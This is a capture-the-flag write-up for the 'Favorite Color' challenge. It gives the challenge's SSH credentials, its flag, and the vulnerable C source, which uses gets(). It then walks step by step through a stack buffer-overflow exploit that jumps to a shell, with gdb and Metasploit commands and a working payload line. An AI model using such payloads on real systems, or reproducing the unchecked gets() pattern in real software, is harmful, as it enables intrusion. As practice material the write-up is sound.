Favorite Color

Favorite Color

What's your favorite color?
Would you like to share with me?
Run the command: **ssh color@104.131.79.111 -p 1001**
(pw: guest) to tell me

Flag: CTFlearn{c0lor_0f_0verf1ow}

Writeup:

login with ssh
enumerate binary and machine
ran gdb color and inserted inpu of 100 a's using python print('A'*100) to get segmentation fault at 0x41414141
used metasploit pattern_create ruby script to create pattern below: /usr/share/metasploit-framework/tools/exploit/-pattern_create.rb -l 100
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad

our buffer overflow payload will look like this since overflow is at 52 letters: 52 junk letters + 4 bytes return address
tested theory in gdb using 52 character string to overflow using python: print('A'*52 + '\x42\x43\xfe\xff')
0xbec34342

then made payload on victim machine with by running outside gdb: python -c "print('A'*52 + '\x42\x43\xfe\xff')" > /tmp/pay.in

now we must find location for the payload
run disas main in gdb
0x08048657 <+120>: looks like a good spot since it is after vuln function

final payload will be this: (python -c "print('A'*52 + '\x57\x86\x04\x08')";cat) | ./color
run payload outside gdb to get shell

```
color@ubuntu-512mb-nyc3-01:~$ (python -c "print('A'*52 + '\x57\x86\x04\x08')";cat) | ./color
Enter your favorite color: Me too! That's my favorite color too!
You get a shell! Flag is in flag.txt
cat flag.txt
flag{c0lor_0f_0verf1ow}
```

color.c-file

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int vuln() {
   char buf[32];

   printf("Enter your favorite color: ");
   gets(buf);

   int good = 0;
   for (int i = 0; buf[i]; i++) {
      good &= buf[i] ^ buf[i];
   }

   return good;
```

```
}

int main(char argc, char** argv) {
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());

    //disable buffering.
    setbuf(stdout, NULL);

    if (vuln()) {
        puts("Me too! That's my favorite color too!");
        puts("You get a shell! Flag is in flag.txt");
        system("/bin/sh");
    } else {
        puts("Boo... I hate that color! :(");
    }
}
```